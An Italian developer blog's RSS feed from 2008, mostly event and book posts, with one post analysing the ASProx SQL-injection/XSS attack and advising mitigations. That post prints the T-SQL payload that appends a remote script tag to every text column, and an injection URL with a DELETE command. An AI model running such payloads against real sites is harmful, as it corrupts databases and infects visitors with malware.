<?xml version="1.0" encoding="Windows-1252"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Ricky.NET - Il blog di Riccardo Golia</title><link>http://blogs.aspitalia.com/rickyvr/</link><description>Ricky.NET - Il blog di Riccardo Golia</description><language>it-it</language><managingEditor>noreply(at)aspitalia.com(Ricky.NET - Il blog di Riccardo Golia)</managingEditor><webMaster>daniele(at)aspitalia.com(Daniele Bochicchio)</webMaster><copyright>1998-2008 ASPItalia.com/Ricky.NET - Il blog di Riccardo Golia</copyright><generator>Generated by feed.ASPItalia.com 'Weyoh' 4.8.818</generator><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><sy:updateBase>1998-01-01T12:00+00:00</sy:updateBase><image><title>Ricky.NET - Il blog di Riccardo Golia</title><url>http://blogs.aspitalia.com/blogs.gif</url><link>http://blogs.aspitalia.com/rickyvr/</link></image><item><title>Attacco XSS combinato con SQL-Injection</title><link>http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</link><pubDate>Fri, 25 Jul 2008 11:00:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2344' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre è così.&lt;/p&gt;&lt;p&gt;L'attacco è portato avanti da un bot noto col nome di &lt;a href="http://www.cio.com.au/index.php/id;552560972" target="_blank"&gt;ASProx&lt;/a&gt; che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica &lt;a href="http://xssworm.blogvis.com/23/xssworm/dns-fast-fluxing-are-you-protected-ca-experts-issue-warning-of-new-hacker-attack/"&gt;DNS Fast-Fluxing&lt;/a&gt; per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilità nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilità vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo &amp;quot;&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;quot;. Chiaramente il file &amp;quot;ngg.js&amp;quot; contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.&lt;/p&gt;&lt;p&gt;Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:&lt;/p&gt;&lt;p&gt;DECLARE @Table VARCHAR(255)&lt;br /&gt;DECLARE @Column VARCHAR(255)&lt;/p&gt;&lt;p&gt;DECLARE cur CURSOR FOR&lt;br /&gt;SELECT [SO].[Name], [SC].[Name]&lt;br /&gt;FROM sysobjects AS [SO], syscolumns AS [SC]&lt;br /&gt;WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND&lt;br /&gt;([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)&lt;/p&gt;&lt;p&gt;OPEN cur&lt;br /&gt;FETCH NEXT FROM cur INTO @Table,@Column &lt;/p&gt;&lt;p&gt;WHILE (@@FETCH_STATUS = 0)&lt;br /&gt;BEGIN&lt;br /&gt;EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''&amp;lt;script src=&amp;quot;http://sitoremoto/ngg.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;''')&lt;br /&gt;FETCH NEXT FROM cur INTO @Table, @Column&lt;br /&gt;END&lt;/p&gt;&lt;p&gt;CLOSE cur&lt;br /&gt;DEALLOCATE cur &lt;/p&gt;&lt;p&gt;Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag &amp;lt;script /&amp;gt;. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target è vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: &amp;quot;http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--&amp;quot;).&lt;/p&gt;&lt;p&gt;Per poter mitigare la vulnerabilità a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ciò che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: &amp;quot;SELECT * FROM Table1 WHERE Id=&amp;quot; + Request.QueryString[&amp;quot;id&amp;quot;]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se &amp;quot;id&amp;quot; deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.&lt;/p&gt;&lt;p&gt;Nonostante le innumerevoli circostanze in cui si è avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili &lt;a href="http://www.aspitalia.com/articoli/asp.net2/aspnet-security.aspx"&gt;qui&lt;/a&gt; e &lt;a href="http://www.aspitalia.com/articoli/asp.net2/aspnet-security-2.aspx" target="_blank"&gt;qui&lt;/a&gt;) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio è ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori! &lt;/p&gt;&lt;p&gt;&lt;strong&gt;LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Meditate, gente, meditate!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Security/" rel="tag"&gt;Security&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Scripting/" rel="tag"&gt;Scripting&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura, Security, Scripting</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2344/Attacco-XSS-Combinato-SQLInjection.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2344.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2344</trackback:ping></item><item><title>Slide e demo della mia sessione ai Community Days online</title><link>http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</link><pubDate>Fri, 11 Jul 2008 23:20:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2322' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ho messo da qualche minuto &lt;a href="http://www.communitydays.it/events/communitydays2008milano.aspx" target="_blank"&gt;online&lt;/a&gt; le demo mostrate alla mia sessione dei Community Days sulla creazione di applicazioni web (sia quella scritta in diretta, sia la versione 2.1 di Pubs), nonchè le slide che sono servite come cappello introduttivo (con tanto di schemino architetturale molto utile per i posteri... :P).&lt;/p&gt;&lt;p&gt;Ringrazio i numerosi partecipanti per essere intervenuti, per aver seguito la sessione fino alle 18:25 senza che nessuno se ne andasse via prima, per le innumerevoli domande, sia durante che dopo la sessione (visto che c'era gente non italiana, alla fine della sessione ho avuto modo di parlare una decina di minuti direttamente in inglese per farmi capire da chi si era fermato oltre).&lt;/p&gt;&lt;p&gt;Ringrazio i compari di sempre, quelli di ASPItalia.com e quelli di UGI, Microsoft per l'ospitalità e a tutti i partecipanti rinnovo l'invito a seguirci nei prossimi eventi che avremo modo di organizzare in futuro. Grazie a tutti e alla prossima.&lt;/p&gt;&lt;p&gt;P.S. Vorrei complimentarmi con Alessio, Marco e Ugo per il loro debutto come speaker. Sono stato molto contento nel vederli così spigliati, del resto non avevo dubbi... Complimenti a tutti e tre! Avanti così...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_3.5/" rel="tag"&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASP.NET_3.5/" rel="tag"&gt;ASP.NET 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/LINQ/" rel="tag"&gt;LINQ&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/LINQ_to_SQL/" rel="tag"&gt;LINQ to SQL&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, .NET Framework, .NET Framework 3.5, Architettura, ASP.NET 3.5, LINQ, LINQ to SQL</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx</guid><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2322/Slide-Demo-Sessione-Community-Days-Online.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2322.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2322</trackback:ping></item><item><title>Arriva &amp;quot;ASP.NET 3.5 per tutti&amp;quot;</title><link>http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</link><pubDate>Wed, 02 Jul 2008 13:45:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2305' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Ebbene si, lo ha già detto &lt;a href="http://blogs.aspitalia.com/daniele" target="_blank"&gt;Daniele&lt;/a&gt; &lt;a href="http://blogs.aspitalia.com/daniele/post2303/Imminente-Libro-Prenotazione-ASP.NET-3.5.aspx" target="_blank"&gt;qui&lt;/a&gt;, ma mi piace l'idea di poterlo annunciare pure io. Dopo il successo del nostro precedente libro, abbiamo deciso (&lt;a href="http://blogs.aspitalia.com/daniele" target="_blank"&gt;Daniele&lt;/a&gt;, &lt;a href="http://blogs.aspitalia.com/ricciolo" target="_blank"&gt;Ricciolo&lt;/a&gt;, &lt;a href="http://blogs.aspitalia.com/sm15455" target="_blank"&gt;Stefano&lt;/a&gt; ed io) di scrivere anche il seguito: &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;Il libro rappresenta un miglioramento di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, ma non si tratta semplicemente di un aggiornamento incrementale, bensì di un libro nuovo a tutti gli effetti. In esso troverete molte cose nuove, tra cui contenuti inediti relativi alla SP1 di ASP.NET 3.5 e non solo. Oltre a rivedere tutta la parte relativa a sintassi dei linguaggi, OOP &amp;amp; C., abbiamo inserito nel nuovo libro una sezione dedicata alla progettazione e distribuzione delle applicazioni web, affrontando problematiche relative alla sicurezza applicativa, alla strutturazione tramite layering, al deployment e alla configurazione.&lt;/p&gt;&lt;p&gt;Chi ha avuto modo di apprezzare la densità di contenuti e la concretezza di &amp;quot;ASP.NET 2.0 per tutti&amp;quot;, non potrà non apprezzare anche quanto andremo a pubblicare nel corso del prossimo ottobre. Il prezzo del nuovo libro sarà ancora una volta imbattibile, assolutamente fuori mercato (cioè basso) rispetto ad altri volumi di pari livello e dimensione.&lt;/p&gt;&lt;p&gt;Tutte le informazioni e una preview del TOC sono disponibili presso il &lt;a href="http://books.aspitalia.com/ASP.NET-3.5" target="_blank"&gt;minisito&lt;/a&gt; dedicato ad &amp;quot;ASP.NET 3.5 per tutti&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASP.NET_3.5_per_tutti/" rel="tag"&gt;ASP.NET 3.5 per tutti&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Pubblicazioni, ASP.NET 3.5 per tutti</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx</guid><slash:comments>3</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2305/Arriva-ASP.NET-3.5-Tutti.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2305.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2305</trackback:ping></item><item><title>MVP Summit 2008</title><link>http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</link><pubDate>Tue, 22 Apr 2008 14:00:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2274' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Venerdì scorso sono rientrato dal MVP Summit 2008 tenutosi a Seattle nel corso della scorsa settimana. Per me era la seconda volta che andavo a Seattle per assistere all'evento in questione e posso dire che le mie aspettative personali sono state in generale soddisfatte. Infatti, rispetto all'anno scorso, dove tutto era nuovo e insolito e pertanto ho fatto un po' fatica ad orientarmi, mi sono posto come obiettivo quello di incontrare gente nuova, anche straniera, di conoscere persone e di approfondire la conoscenza di quelle già note (italiane e non). Per fortuna il mio inglese (anche se decisamente migliorabile) in questo mi ha aiutato non poco, rispetto allo scorso anno ho fatto passi da gigante. Ho avuto modo di incontare personaggi più o meno noti, ho salutato ScottGu e l'ho ringraziato per la prefazione al libro (con un anno di ritrado). E' stato molto contento di vederci tutti. Ho conosciuto alcuni membri del team di Silverlight, altri MVP di fama assoluta e ho rivisto con molto piacere Alessandro Catorcini, con cui siamo andati a pranzo insieme in pizzeria.&lt;/p&gt;&lt;p&gt;Il viaggio non è cominciato nel migliore dei modi, tanto per cambiare il mio bagaglio (come quello di altre 10 persone) non è arrivato e nei primi giorni ho dovuto arrangiarmi con il backup che mi ero messo nel bagaglio a mano. Per fronteggiare l'emergenza, mi sono dato allo shopping sfrenato con i soliti noti, Mauro, Davide, Alessandro e &amp;quot;consorte&amp;quot;, Raf, Roberto, Gabriele, ecc. Dopo 5 giorni la valigia è arrivata, giusto in tempo per riempirla. Inutile dire che sono rimasto alquanto seccato dal livello del servizio della compagnia aerea, la Bristish Airways. Per eventuali prossimi viaggi, sicuramente sceglierò una compagnia alternativa. Ho fatto reclamo per ottenere un rimborso, vediamo se la compagnia dimostrerà almeno un briciolo di serietà nel rimediare ai suoi disservizi.&lt;/p&gt;&lt;p&gt;Sabato 12 aprile nel pomeriggio ho avuto la fortuna di partecipare ad un party a Kirkland organizzato dagli &amp;quot;italiani&amp;quot; di Microsoft. Inutile dire che è stata un'occasione davvero memorabile, li voglio ringraziare tutti perchè si sono dimostrati disponibili con tutti, simpaticissimi e davvero di buona compagnia. Ho incontrato una vecchia conoscenza dell'università con cui ho avuto modo di fare qualche esame insieme a suo tempo. E' stata una grande sorpresa trovarmi Ivan di fronte dopo tanti anni, non me lo aspettavo davvero. Lui è lì da quasi 10 anni, una vita in pratica... Grande!&lt;/p&gt;&lt;p&gt;La domenica è trascorsa a fare compere e a guardarsi un po' intorno. I giorni seguenti sarebbero stati presi dalla conference e non ci sarebbe stato più tanto tempo a disposizione. Ci siamo sfogati, con il cambio dollaro-euro così vantaggioso è stata una pacchia. Le sessioni dei giorni trascorsi al campus sono state interessanti, alcune hanno mostrato la roadmap dei prodotti futuri, tutto rigorosamente sotto NDA e quindi non riportabile sul blog. Il terzo giorno è stata la volta di Steve Ballmer. E' incredibile starlo a sentire dal vivo, trasmette un'energia assurda, la sua sessione è stata davvero &amp;quot;showtime&amp;quot;. Domani sarà qua in Italia per un evento: chi ci potrà andare, non deve lasciarsi perdere l'occasione.&lt;/p&gt;&lt;p&gt;Se devo fare un bilancio, posso dire di essere stato contento di aver partecipato nuovamente al Summit. Andare negli States non è poi così male, la gente è gentile e disponibile ovunque, in certe occasioni è a dir poco accomodante in modo imbarazzante. Ho fatto parecchio networking, ho conosciuto gente nuova, ho scambiato opinioni e, perchè no, imparato qualcosa di nuovo anche da questa esperienza. Semmai ne avrò l'occasione, spero di poter partecipare a questo evento ancora in futuro.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare tutti i compagni di viaggio (gli MVP italiani, ovvero i Gladiators) per il tempo trascorso insieme, è sempre un piacere stare insieme e parlare di tecnologia con voi. Alla prossima.&lt;/p&gt;&lt;p&gt;Di seguito un po' di foto in ordine sparso: enjoy!&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea001.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 1:&lt;/strong&gt; viaggio in limousine dall'aeroporto all'albergo con Mauro Servienti e Davide Mauri.&lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea002.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 2: &lt;/strong&gt;in giro per Downtown a fare shopping con i soliti noti, in particolare Mauro, profondo conoscitore di negozi e store.&lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea003.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 3:&lt;/strong&gt; è stata una sorpresa e un piacere incontrare di nuovo un compagno di corso dell'università (Ivan) che lavora in Microsoft da quasi 10 anni. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea004.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 4:&lt;/strong&gt; foto di guppo dei Gladiators alla registrazione pre-conference della domenica. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea005.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 5:&lt;/strong&gt; insolita foto di gruppo: c'è un intruso... Indovina qual'è! &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea006.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 6:&lt;/strong&gt; insieme ad Alessandro &amp;quot;Garbin&amp;quot; Gallo davanti alla scatola del mitico BOB. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea007.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 7:&lt;/strong&gt; alla cena col team ASP.NET insieme a Michiel Van Otegem, MVP olandese. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea008.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 8:&lt;/strong&gt; al Conference Center (Building 33) con Alessandro Alpi, MVP italiano di SQL Server. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea009.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 9:&lt;/strong&gt; il Campus di Microsoft è una piccola città con palazzi, strade, giardini, segnaletica, ecc. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea010.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 10:&lt;/strong&gt; classica foto per chi visita il Campus di Redmond. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea011.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 11:&lt;/strong&gt; la divisa ufficiale dei Gladiators per la serata di gala al museo della musica di Seattle. &lt;/p&gt;&lt;p&gt;&lt;img alt=" " src="http://www.riccardogolia.it/aspitalia/eventi/seattle2008/sea012.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Foto 12:&lt;/strong&gt; un po' di Gladiators &amp;quot;developer&amp;quot; insieme al MVP Lead italiano Alessandro &amp;quot;Alead&amp;quot; Teglia poco dopo la chiusura della sessione plenaria di Steve Ballmer.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2274/MVP-Summit-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2274.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2274</trackback:ping></item><item><title>Real Code Launch 2008: demo online</title><link>http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</link><pubDate>Tue, 18 Mar 2008 10:15:45 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2255' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Finalmente dopo alcuni giorni di attesa, sono disponibili online le demo presentate al Real Code Launch 2008, ovvero al Community After Hour tenutosi a Roma lo scorso 12 marzo in occasione del roadshow organizzato da Microsoft Italia per il lancio di Windows Server 2008, Visual Studio 2008 e SQL Server 2008. Le demo sono scaricabili all'indirizzo: &lt;a href="http://2008launch.aspitalia.com" onclick="blankUrl(this.href); return false;"&gt;2008launch.aspitalia.com&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Nonostante sia passata quasi una settimana e non essendo riuscito a farlo prima, volevo cogliere l'occasione per ringraziare tutto lo staff di Microsoft Italia presente all'evento, gli organizzatori, gli evangelist DEV e IT ed, in particolare, Sara Morandini, &lt;a href="http://blogs.msdn.com/gabrielecastellani/default.aspx" onclick="blankUrl(this.href); return false;"&gt;Gabriele Castellani&lt;/a&gt; e &lt;a href="http://blogs.msdn.com/pietrobr/default.aspx" onclick="blankUrl(this.href); return false;"&gt;Pietro Brambati&lt;/a&gt; per il continuo supporto, per la fiducia e per l'&lt;a href="http://blogs.msdn.com/italy/archive/2008/03/15/msdn-talks-incontro-con-aspitalia.aspx" onclick="blankUrl(this.href); return false;"&gt;intervista stile rock-band&lt;/a&gt; (tra l'altro ricca di retroscena rigorosamente sotto NDA :D).&lt;/p&gt; &lt;p&gt;Organizzato anche nei minimi dettagli, l'evento &amp;#232; stato magico e la formula si &amp;#232; rivelata davvero vincente (merita di essere ripetuta in futuro, a mio modesto parere). La risposta in termini di pubblico e l'interesse sono stati davvero incredibili (300+ persone, come testimonia la foto), ci siamo divertiti tutti davvero tanto.&lt;/p&gt; &lt;p&gt;&lt;img src="http://live.aspitalia.com/album/2008/760/015.img?w=620" alt=" "/&gt; &lt;/p&gt; &lt;p&gt;Un grazie va tutti coloro che si sono fatti un sacco di Km per venire a Roma a sentirci fino alle 22 di sera, a tutti quelli che ci hanno fatto domande (o che ce ne faranno in futuro) su quanto visto durante le nostre sessioni e che hanno dimostrato interesse su quanto facciamo. Eravate una marea di persone, grazie di cuore per essere intervenuti! Vi aspettiamo ai prossimi eventi che terremo durante il 2008 in occasione del decimo anniversario della nostra storia.&lt;/p&gt; &lt;p&gt;Infine un ringraziamento particolare va anche agli altri {eroi} della serata: &lt;a href="http://blogs.aspitalia.com/daniele" onclick="blankUrl(this.href); return false;"&gt;Daniele&lt;/a&gt; (semplicemente perch&amp;#232; &amp;#232; quello che &amp;#232;, unico nel suo genere), &lt;a href="http://blogs.aspitalia.com/ricciolo" onclick="blankUrl(this.href); return false;"&gt;Ricciolo&lt;/a&gt; (che mi ha sopportato in camera, in aereo e che mi ha offerto uno squisito pranzo a casa sua), al compagno di sessione &lt;a href="http://blogs.aspitalia.com/sm15455" onclick="blankUrl(this.href); return false;"&gt;Stefano&lt;/a&gt; (che si &amp;#232; divertito a muovermi il mouse per tutto il tempo durante la sessione fino a mostrare un'immagine a tutto schermo con la scritta: I LOVE DATASETS - li mortacci... :D) e ai mitici &amp;quot;Little Lions Boys&amp;quot; (&lt;a href="http://blogs.aspitalia.com/nostromo" onclick="blankUrl(this.href); return false;"&gt;Marco&lt;/a&gt; e &lt;a href="http://blogs.aspitalia.com/novecento" onclick="blankUrl(this.href); return false;"&gt;Alessio Leoncini&lt;/a&gt;).&lt;/p&gt; &lt;p&gt;&lt;img src="http://live.aspitalia.com/album/2008/760/014.img?w=620" alt=" "/&gt; &lt;/p&gt; &lt;p&gt;Le altre foto sono disponibili nella &lt;a href="http://live.aspitalia.com/" onclick="blankUrl(this.href); return false;"&gt;sezione LIVE di ASPItalia.com&lt;/a&gt;, in tutto sono una quindicina. Buona visione!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/10annidi/" rel="tag"&gt;10annidi&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Studio/" rel="tag"&gt;Visual Studio&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Windows_Server/" rel="tag"&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, 10annidi, ASPItalia.com, Visual Studio, Windows Server</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2255/Real-Code-Launch-2008-Demo-Online.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2255.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2255</trackback:ping></item><item><title>Real Code Launch 2008: vi aspettiamo l&amp;#224;!</title><link>http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx</link><pubDate>Tue, 11 Mar 2008 09:25:07 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2250' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Tra qualche ora partir&amp;#242; per Roma per l'evento di domani. Domani sar&amp;#242; infatti presente con tutto lo staff del nostro network alla tappa di Roma del &lt;a href="http://www.microsoft.com/italy/launch2008/roadshow/default.mspx" onclick="blankUrl(this.href); return false;"&gt;2008 Launch Roadshow&lt;/a&gt; organizzato da Microsoft Italia in occasione del lancio dei suoi nuovi prodotti (Windows Server 2008, Visual Studio 2008 e SQL Server 2008). Saremo tutto il giorno in giro per le sale conferenze per incontrare la gente della nostra community, per fare quattro chiacchiere con chi ne avr&amp;#224; voglia e per dare un volto a chi conosciamo unicamente tramite un nickname.&lt;/p&gt; &lt;p&gt;Alla sera ci sar&amp;#224; il &lt;a href="http://www.microsoft.com/italy/launch2008/xml/after_roma.htm" onclick="blankUrl(this.href); return false;"&gt;Community After Hour&lt;/a&gt; gestito da noi, intitolato &lt;strong&gt;Real Code 